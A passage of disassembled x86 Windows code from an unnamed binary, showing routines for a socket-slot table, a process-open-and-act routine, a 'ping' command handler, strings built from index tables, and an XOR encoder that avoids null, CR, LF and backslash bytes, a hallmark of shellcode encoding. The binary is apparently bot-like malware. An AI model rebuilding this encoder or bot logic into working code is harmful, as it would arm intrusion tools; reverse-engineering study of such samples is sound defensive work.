		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510114
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510114, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C4C
		mov	edi, edx
		mov	byte_446C59, bl
		mov	byte_446C5D, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C34
		mov	edi, edx
		mov	word_446C42, bx
		mov	byte_446C47, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B18B[eax*4], ecx
		mov	dword_44B18F[eax*4], ecx
		mov	dword_44B193[eax*4], ecx
		mov	dword_44B197[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	byte_44AF8B[eax*4], cl
		mov	byte_44B1A3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B19F[esi*4]
		push	eax
		nop
		call	near ptr 27706F2h
		cmp	dword_44B19F[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B19F[esi*4], ebx
		mov	dword_44B18B[esi*4], ebx
		mov	dword_44B18F[esi*4], ebx
		mov	eax, dword_44B193[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B193[esi*4], ebx
		mov	byte_44AF8B[esi*4], bl
		mov	byte_44B1A3[esi*4], bl
		mov	ecx, dword_44B197[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_44B197[esi*4], ebx
		mov	edx, dword_44B19B[esi*4]
		lea	esi, ds:44B19Bh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B18F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D818F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2700000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		call	near ptr 27903EBh
		nop
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2830942h


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF8B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F8B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9C4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4277B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
